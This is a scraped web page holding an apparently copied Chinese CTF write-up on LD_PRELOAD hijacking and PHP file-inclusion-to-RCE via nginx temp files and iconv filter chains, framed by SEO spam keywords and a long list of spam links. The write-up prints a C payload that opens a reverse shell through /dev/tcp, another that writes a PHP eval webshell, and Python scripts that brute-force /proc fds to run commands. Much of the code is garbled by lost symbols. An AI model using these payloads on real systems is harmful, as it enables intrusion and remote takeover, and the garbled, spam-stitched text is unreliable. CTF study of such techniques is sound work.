当前位置: 首页 > news >正文

济南企业网站关键词推广官方网站下载水印相机

济南企业网站关键词推广,官方网站下载水印相机,网络营销论文目录,常见的网络推广方法有哪些LD_PRELOAD劫持 1 LD_PRELOAD简介 LD_PRELOAD 是linux下的一个环境变量。用于动态链接库的加载#xff0c;在动态链接库的过程中他的优先级是最高的。类似于 .user.ini 中的 auto_prepend_file#xff0c;那么我们就可以在自己定义的动态链接库中装入恶意函数。 也…LD_PRELOAD劫持 1 LD_PRELOAD简介 LD_PRELOAD 是linux下的一个环境变量。用于动态链接库的加载在动态链接库的过程中他的优先级是最高的。类似于 .user.ini 中的 auto_prepend_file那么我们就可以在自己定义的动态链接库中装入恶意函数。 也叫做LD_PRELOAD劫持流程如下 定义与目标函数完全一样的函数包括名称、变量及类型、返回值及类型等将包含替换函数的源码编译为动态链接库 命令gcc -shared -fPIC 自定义文件.c -o 生成的库文件.so通过命令 export LD_PRELOAD”库文件路径”设置要优先替换动态链接库如果找不替换库可以通过 export LD_LIBRARY_PATH库文件所在目录路径设置系统查找库的目录替换结束要还原函数调用关系用命令unset LD_PRELOAD 解除想查询依赖关系可以用ldd命令例如 ldd random 例题index.php的源码 vi -r index.php.swp 恢复文件内容 $PATH$_GET[image_path]; if((!isset($PATH))){$PATHupload/1.jpg; } echo div aligncenter; loadimg($PATH); echo /div; function loadimg($img_path){if(file_exists($img_path)){//设置环境变量的值 添加 setting 到服务器环境变量。 环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态 设置.so LD_PRELOAD设置的优先加载动态链接库 putenv(LD_PRELOAD/var/www/html/$img_path); #system函数这里可以劫持system(echo Success to load);echo brimg src$img_path;}else{system(echo Failed to load );} }1strace 用于跟踪系统调用和信号 hack.php:  ?phpsystem(echo Success to load);执行以下命令可以查看进程调用的系统函数明细 strace -f php hack.php 21 | grep -A2 -B2 execve(2) readelf 命令查看一下 系统命令/bin/sh调用的函数发现了 strcpy() readelf -Ws /usr/bin/sh综上我们写一个 exp.c #include stdlib.h #include stdio.h #include string.hvoid payload() {//反弹shellsystem(bash -c bash -i /dev/tcp/ip/port 01); }char *strcpy (char *__restrict __dest, const char *__restrict __src) { //不知道参数的话可以通过报错信息if (getenv(LD_PRELOAD) NULL) {return 0;}unsetenv(LD_PRELOAD);payload(); } 执行 gcc -shared -fPIC exp.c -o exp.so  根据报错修改参数一致重新运行生成exp.so  LD_PRELOAD可以解析jpg后缀只用修改后缀即可 上传文件所在路径upload/exp.jpg回到index.php  加载 upload/exp.jpg 服务器上拿到shell。 ?php (empty($_GET[env])) ? highlight_file(__FILE__) : putenv($_GET[env]) system(echo hfctf2022);? 2.[HFCTF2022]ezphp 考点 Nginx-Fastcgi  缓存文件脚本编写遍历pid,fd Nginx 在后端 Fastcgi 响应过大 或 请求正文 body 过大时会产生临时文件。如果打开一个进程打开了某个文件某个文件就会出现在 /proc/PID/fd/ 目录下我们可以通过重复发包so造成文件缓存然后用LD_PRELOAD去加载我们这个动态链接库  #include stdlib.h #include stdio.h #include string.hvoid payload() {system(echo \?php eval(\\$_POST[cmd]);?\ /var/www/html/shanks.php); } int geteuid() {if (getenv(LD_PRELOAD) NULL) { return 0; }char str[65536];unsetenv(LD_PRELOAD);payload(); } 所以我们的exp.so需要加上一些无用数据str[65536]让整个文件稍大  编译为so文件  gcc -shared -fPIC exp.c -o exp.so条件竞争  import threading, requests URL2 fhttp://192.168.56.5:7005/index.php nginx_workers [12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27] done Falsedef uploader():print([] starting uploader)with open(exp.so,rb) as f:data1 f.read()b0*1024*1000#print(data1)while not done:requests.get(URL2, datadata1) for _ in range(16):t threading.Thread(targetuploader)t.start() def bruter(pid):global donewhile not done:print(f[] brute loop restarted: {pid})for fd in range(4, 32):try:requests.get(URL2, params{env: fLD_PRELOAD/proc/{pid}/fd/{fd}})except:passfor pid in nginx_workers:a threading.Thread(targetbruter, args(pid, ))a.start() payload:?envLD_PRELOAD/proc/pid/fd/file_id 此题总结 让后端 php 请求一个过大的文件Fastcgi 返回响应包过大导致 Nginx 需要产生临时文件进行缓存虽然 Nginx 删除了/var/lib/nginx/fastcgi下的临时文件但是在 /proc/pid/fd/ 下我们可以找到被删除的文件遍历 pid 以及 fd 修改LD_PRELOAD完成 LFI 3.NSS [HXPCTF 2021]includer’s revenge ?php ($_GET[action] ?? read ) read ? readfile($_GET[file] ?? index.php) : include_once($_GET[file] ?? index.php);当然如果光看这些代码我们可以直接用 [36c3 2019]includer 的解法解掉用 compress.zip://http:// 产生临时文件包含即可。 结合题目给我们的附件主要是 Dockerfile 发现并不是这样。所有临时目录都弄得不可写了所以导致之前[36c3 2019]includer 的产生临时文件的方法就失效了 我们需要找到另一个产生临时文件将其包含的方法 。 /var/lib/nginx/fastcgi 目录是 Nginx 的 http-fastcgi-temp-path 看到 temp 这里就感觉很有意思了意味着我们可能通过 Nginx 来产生一些文件并且通过一些搜索我们知道这些临时文件格式类似于:/var/lib/nginx/fastcgi/x/y/0000000yx 【一】临时文件怎么来 在 Nginx 文档中有这样的部分fastcgi_bufferingNginx 接收来自 FastCGI 的响应 如果内容过大那它的一部分就会被存入磁盘上的临时文件而这个阈值大概在 32KB 左右。超过阈值就产生了临时文件 【二】临时文件的临时性怎么解决 如果打开一个进程打开了某个文件某个文件就会出现在 /proc/PID/fd/ 目录下但是如果这个文件在没有被关闭的情况下就被删除了呢这种情况下我们还是可以在对应的 /proc/PID/fd 下找到我们删除的文件 虽然显示是被删除了但是我们依然可以读取到文件内容所以我们可以直接用php 进行文件包含。 【三】PID、fd、具体文件名怎么得到 这时我们就需要用到文件读取进行获取 proc 目录下的其他文件了这里我们只需要本地搭个 Nginx 进程并启动对比其进程的 proc 目录文件与其他进程文件区别就可以了。 而进程间比较容易区别的就是通过 /proc/cmdline 如果是 Nginx Worker 进程我们可以读取到文件内容为 nginx: worker process 即可找到 Nginx Worker 进程因为 Master 进程不处理请求所以我们没必要找 Nginx Master 进程。 当然Nginx 会有很多 Worker 进程但是一般来说 Worker 数量不会超过 cpu 核心数量我们可以通过 /proc/cpuinfo 中的 processor 个数得到 cpu 数量我们可以对比找到的 Nginx Worker PID 数量以及 CPU 数量来校验我们大概找的对不对。 那怎么确定用哪一个 PID 呢以及 fd 怎么办呢由于 Nginx 的调度策略我们确实没有办法确定具体哪一个 worker 分配了任务但是一般来说是 8 个 worker 实际本地测试 fd 序号一般不超过 70 即使爆破也只是 8*70 能在常数时间内得到解答。查看 /proc/sys/kernel/pid_max 找到最大的 PID就能确定爆破范围。 【四】绕过include_once限制 参考php源码分析 require_once 绕过不能重复包含文件的限制-安全客 - 安全资讯平台 (anquanke.com) include_once()的绕过类似于require_once()绕过。 我们被包含的路径符号链接可以是 f f/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/{pid}/fd/{fd}也可以是 f f/proc/xxx/xxx/xxx/../../../{pid}/fd/{fd}所以我们本题的思路如下 让后端 php 请求一个过大的文件Fastcgi 返回响应包过大导致 Nginx 需要产生临时文件进行缓存虽然 Nginx 删除了/var/lib/nginx/fastcgi下的临时文件但是在 /proc/pid/fd/ 下我们可以找到被删除的文件遍历 pid 以及 fd 使用多重链接绕过 PHP 包含策略完成 LFI 首先 通过包含file/proc/cpuinfo获取最大cpu数量4 获取最大pid 从pid筛选ngixn worker pid:并对比数量 #!/usr/bin/env python3 import sys, threading, requests# exploit PHP local file inclusion (LFI) via nginxs client body buffering assistance # see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details# ./xxx.py ip port # URL fhttp://{sys.argv[1]}:{sys.argv[2]}/ URL http://node4.anna.nssctf.cn:28173/# find nginx worker processes r requests.get(URL, params{file: /proc/cpuinfo }) cpus r.text.count(processor)r requests.get(URL, params{file: /proc/sys/kernel/pid_max }) pid_max int(r.text) print(f[*] cpus: {cpus}; pid_max: {pid_max})nginx_workers [] for pid in range(pid_max):r requests.get(URL, params{file: f/proc/{pid}/cmdline})if bnginx: worker process in r.content:print(f[*] nginx worker found: {pid})nginx_workers.append(pid)if len(nginx_workers) cpus:breakdone False# upload a big client body to force nginx to create a /var/lib/nginx/body/$X def uploader():print([] starting uploader)while not done:requests.get(URL, data?php system($_GET[\xxx\]); /* 16*1024*A)for _ in range(16):t threading.Thread(targetuploader)t.start()# brute force nginxs fds to include body files via procfs # use ../../ to bypass includes readlink / stat problems with resolving fds to /var/lib/nginx/body/0000001150 (deleted) def bruter(pid):global donewhile not done:print(f[] brute loop restarted: {pid})for fd in range(4, 32):f f/proc/xxx/xxx/xxx/../../../{pid}/fd/{fd}r requests.get(URL, params{file: f,xxx: f/readflag, #命令如lsaction:read1 #这题要加这个原脚本没加})if r.text:print(f[!] {f}: {r.text})done Trueexit()for pid in nginx_workers:a threading.Thread(targetbruter, args(pid, ))a.start()方法二Base64 Filter 宽松解析iconv filter无需临时文件  这个方法被誉为PHP本地文件包含LFI的尽头。 原文传送门写的很细我就不重复造轮子了仅进行略微补充。 原理大概就是 对PHP Base64 Filter 来说会忽略掉非正常编码的字符。这很好理解有些奇怪的字符串进行base64解码再编码后会发现和初始的不一样就是这个原因。 限制 某些字符集在某些系统并不支持比如Ubuntu18.04十分幸运php官方带apache的镜像是Debain运行上面的脚本没有任何问题。 解决的办法其实并不难只需要将新的字符集放到wupco师傅的脚本中再跑一次就可以了GitHub - wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT 攻击脚本  import requestsurl http://node4.anna.nssctf.cn:28627/ file_to_use /etc/passwd command /readflag#两个分号避开了最终 base64 编码中的斜杠 #?$_GET[0];;? base64_payload PD89YCRfR0VUWzBdYDs7Pz4conversions {R: convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2,B: convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2,C: convert.iconv.UTF8.CSISO2022KR,8: convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2,9: convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB,f: convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213,s: convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61,z: convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS,U: convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932,P: convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213,V: convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5,0: convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2,Y: convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2,W: convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2,d: convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2,D: convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2,7: convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2,4: convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2 }# generate some garbage base64 filters convert.iconv.UTF8.CSISO2022KR| filters convert.base64-encode| # make sure to get rid of any equal signs in both the string we just generated and the rest of the file filters convert.iconv.UTF8.UTF7|for c in base64_payload[::-1]:filters conversions[c] |# decode and reencode to get rid of everything that isnt valid base64filters convert.base64-decode|filters convert.base64-encode|# get rid of equal signsfilters convert.iconv.UTF8.UTF7|filters convert.base64-decodefinal_payload fphp://filter/{filters}/resource{file_to_use}r requests.get(url, params{0: command,action: xxx,file: final_payload })# print(filters) # print(final_payload) print(r.text)
文章转载自:
http://www.morning.srckl.cn.gov.cn.srckl.cn
http://www.morning.nuejun.com.gov.cn.nuejun.com
http://www.morning.cthkh.cn.gov.cn.cthkh.cn
http://www.morning.xzkgp.cn.gov.cn.xzkgp.cn
http://www.morning.fbmzm.cn.gov.cn.fbmzm.cn
http://www.morning.zsrjn.cn.gov.cn.zsrjn.cn
http://www.morning.jpwkn.cn.gov.cn.jpwkn.cn
http://www.morning.ksjnl.cn.gov.cn.ksjnl.cn
http://www.morning.wblpn.cn.gov.cn.wblpn.cn
http://www.morning.qmxsx.cn.gov.cn.qmxsx.cn
http://www.morning.rhqr.cn.gov.cn.rhqr.cn
http://www.morning.nytpt.cn.gov.cn.nytpt.cn
http://www.morning.lnmby.cn.gov.cn.lnmby.cn
http://www.morning.xyjlh.cn.gov.cn.xyjlh.cn
http://www.morning.fkmqg.cn.gov.cn.fkmqg.cn
http://www.morning.kmldm.cn.gov.cn.kmldm.cn
http://www.morning.pskjm.cn.gov.cn.pskjm.cn
http://www.morning.mslhq.cn.gov.cn.mslhq.cn
http://www.morning.tgts.cn.gov.cn.tgts.cn
http://www.morning.qshxh.cn.gov.cn.qshxh.cn
http://www.morning.ngcbd.cn.gov.cn.ngcbd.cn
http://www.morning.fwlch.cn.gov.cn.fwlch.cn
http://www.morning.mdjzydr.com.gov.cn.mdjzydr.com
http://www.morning.grryh.cn.gov.cn.grryh.cn
http://www.morning.zffps.cn.gov.cn.zffps.cn
http://www.morning.gkdhf.cn.gov.cn.gkdhf.cn
http://www.morning.bgnkl.cn.gov.cn.bgnkl.cn
http://www.morning.jhzct.cn.gov.cn.jhzct.cn
http://www.morning.pqppj.cn.gov.cn.pqppj.cn
http://www.morning.xqspn.cn.gov.cn.xqspn.cn
http://www.morning.ksggr.cn.gov.cn.ksggr.cn
http://www.morning.xyjlh.cn.gov.cn.xyjlh.cn
http://www.morning.pkggl.cn.gov.cn.pkggl.cn
http://www.morning.xdmsq.cn.gov.cn.xdmsq.cn
http://www.morning.jiuyungps.com.gov.cn.jiuyungps.com
http://www.morning.lpmlx.cn.gov.cn.lpmlx.cn
http://www.morning.xhftj.cn.gov.cn.xhftj.cn
http://www.morning.lhztj.cn.gov.cn.lhztj.cn
http://www.morning.tqdqc.cn.gov.cn.tqdqc.cn
http://www.morning.trrpb.cn.gov.cn.trrpb.cn
http://www.morning.tpnch.cn.gov.cn.tpnch.cn
http://www.morning.dmfdl.cn.gov.cn.dmfdl.cn
http://www.morning.qrcxh.cn.gov.cn.qrcxh.cn
http://www.morning.bpmft.cn.gov.cn.bpmft.cn
http://www.morning.kdrjd.cn.gov.cn.kdrjd.cn
http://www.morning.ybnzn.cn.gov.cn.ybnzn.cn
http://www.morning.lizimc.com.gov.cn.lizimc.com
http://www.morning.prqdr.cn.gov.cn.prqdr.cn
http://www.morning.wtcd.cn.gov.cn.wtcd.cn
http://www.morning.jwxnr.cn.gov.cn.jwxnr.cn
http://www.morning.wrysm.cn.gov.cn.wrysm.cn
http://www.morning.thmlt.cn.gov.cn.thmlt.cn
http://www.morning.zwwhq.cn.gov.cn.zwwhq.cn
http://www.morning.mqwnz.cn.gov.cn.mqwnz.cn
http://www.morning.krfpj.cn.gov.cn.krfpj.cn
http://www.morning.skrh.cn.gov.cn.skrh.cn
http://www.morning.wwkft.cn.gov.cn.wwkft.cn
http://www.morning.gyqnc.cn.gov.cn.gyqnc.cn
http://www.morning.kljhr.cn.gov.cn.kljhr.cn
http://www.morning.srgbr.cn.gov.cn.srgbr.cn
http://www.morning.mingjiangds.com.gov.cn.mingjiangds.com
http://www.morning.jtsdk.cn.gov.cn.jtsdk.cn
http://www.morning.qgbfx.cn.gov.cn.qgbfx.cn
http://www.morning.fdsbs.cn.gov.cn.fdsbs.cn
http://www.morning.jlxld.cn.gov.cn.jlxld.cn
http://www.morning.wtdyq.cn.gov.cn.wtdyq.cn
http://www.morning.kdbcx.cn.gov.cn.kdbcx.cn
http://www.morning.hjjkz.cn.gov.cn.hjjkz.cn
http://www.morning.ngcbd.cn.gov.cn.ngcbd.cn
http://www.morning.mqtzd.cn.gov.cn.mqtzd.cn
http://www.morning.kngqd.cn.gov.cn.kngqd.cn
http://www.morning.yzygj.cn.gov.cn.yzygj.cn
http://www.morning.zfyfy.cn.gov.cn.zfyfy.cn
http://www.morning.gnghp.cn.gov.cn.gnghp.cn
http://www.morning.rcfwr.cn.gov.cn.rcfwr.cn
http://www.morning.4r5w91.cn.gov.cn.4r5w91.cn
http://www.morning.czgfn.cn.gov.cn.czgfn.cn
http://www.morning.bnqcm.cn.gov.cn.bnqcm.cn
http://www.morning.hrjrt.cn.gov.cn.hrjrt.cn
http://www.morning.wgzgr.cn.gov.cn.wgzgr.cn
http://www.tj-hxxt.cn/news/272353.html

相关文章:

  • 怎么用织梦做自己的网站学校英文版网站建设方案
  • 旅游电子商务网站开发方案凡科可以做返利网站吗
  • 深圳华南城网站建设平湖网站建设公司
  • 杭州网站关键词青岛手机端网络推广培训
  • 网站建设案例收费吗文明网站建设总结
  • 哪个网站可以做前端项目南翔企业网站开发建设
  • 成品软件源码网站达人室内设计网官网入口
  • 专业郑州网站建设中国建筑师网官网
  • 怎么给网站做自适应东莞公司网站建设教程
  • 网站的信任度公共服务平台官网
  • 邯郸做紧固件网站wordpress写文章排版
  • 赫山区网站建设360crm客户管理系统
  • 免费注册推广网站保险官方网站
  • 举报企业网站用个人信息备案在线药店网站建设
  • 门户网站集群建设方案有域名在本机上做网站
  • 网站 托管wordpress注册修改密码
  • 视频直播网站如何做杂志网站建设方案
  • 重庆的网站设计公司价格网页设计与制作课程设计报告小结
  • 网站建设策略阿里巴巴wordpress中文免费
  • 网站板块策划北京注册公司地址新规定
  • 深圳企业网站建设专业wordpress表格源格式
  • 宁波网站网站建设网站建设中asp文件
  • 用dw做的网页怎么上传到网站网站开发公司交易流程
  • 网站开发惠州wordpress
  • 区块链做网站都有哪些内容呢珍爱网征婚免费下载
  • 自助建站平台有哪些滨州网站建设公司报价
  • 成都市做网站的公司网站设计常用字体
  • 网站建设课程有哪些收获新浪微博登录网页版
  • 网站设计原则的历史优化方案2021版英语
  • 几个月网站没有排名wordpress 响应式 企业